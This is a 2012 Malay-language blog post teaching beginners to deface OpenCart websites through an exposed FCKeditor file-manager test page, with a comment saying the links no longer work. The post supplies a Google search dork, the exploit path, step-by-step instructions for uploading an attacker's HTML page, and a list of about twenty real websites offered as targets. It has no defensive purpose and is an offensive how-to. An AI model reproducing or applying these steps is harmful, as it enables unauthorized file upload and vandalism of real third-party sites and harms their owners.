Monday 9 January 2012

Tutorial Deface Website Melalui FCKeditor

Assalamualaikum , salam sejahtera...
Saya akan menunjukkan cara nk mendeface website melalui FCKeditor exploit
Cara  ini bagus bagi beginner

Jom mula :-

Dork: :Powered by Opencart site:.com
          :SUPORT BY OPENCART

Exploit: /admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html

Pergi ke google.com..dan paste dork itu..

Dah dapat website yang mahu dideface..terus masukkan exploit..
Contoh :-

http://www.inputandanalysis.com/

Selepas masukkan exploit jadi mcm nie

http://www.inputandanalysis.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html
Tekan enter



Sekarang ikut step nie :-
1.Tukarkan Connectors daripada ASP ke PHP
2.Tekan choose file dan browse file .html korang
3.Upload file



Korang akan terima satu message "File uploaded with no error"...tekan jer ok..
kalau bende lain..tukar website lain :D

Sekarang tukar yang test.html pada link tu

http://www.inputandanalysis.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/*test*.html

kepada

http://www.inputandanalysis.com/admin/view/javascript/fckeditor/editor/filemanager/connectors/NameFileKorang.html

Sekarang padam yang lain..highlight dari connectors sampai /admin..padam semua tu

http://www.inputandanalysis.com/NameFileKorang.html
Tekan enter
Selesai....

Contoh hasil :- http://www.inputandanalysis.com/xWhiteHexor.html

List yang tersedia untuk dideface *(ada yg oleh ada yg tidak boleh guna)
http://ruthsgarden.com/
http://www.utahflowers.net/
http://www.inlove.my/
http://megamall.com.pk/
http://stefanyboutique.com/
http://www.inputandanalysis.com/
http://www.virtualgeorge.info/
http://iphoneclone.biz/
http://amourcristallis.com/
http://www.eesnet.org/
http://www.schoolshopper.com.au/
http://www.mymaxi.nl/
http://wiretek.net/
http://shop.tjokgus.com/
http://www.aquariumsystem.it/
http://uae-shopper.com/
http://organicjewelries.com/
http://www.granmasantiques.com/
http://avocadogenie.com/
http://www.utahflowers.net/
http://stefanyboutique.com/
http://amourcristallis.com/

1 comments:

Shaitz621 said...

Not found semua gan

Post a Comment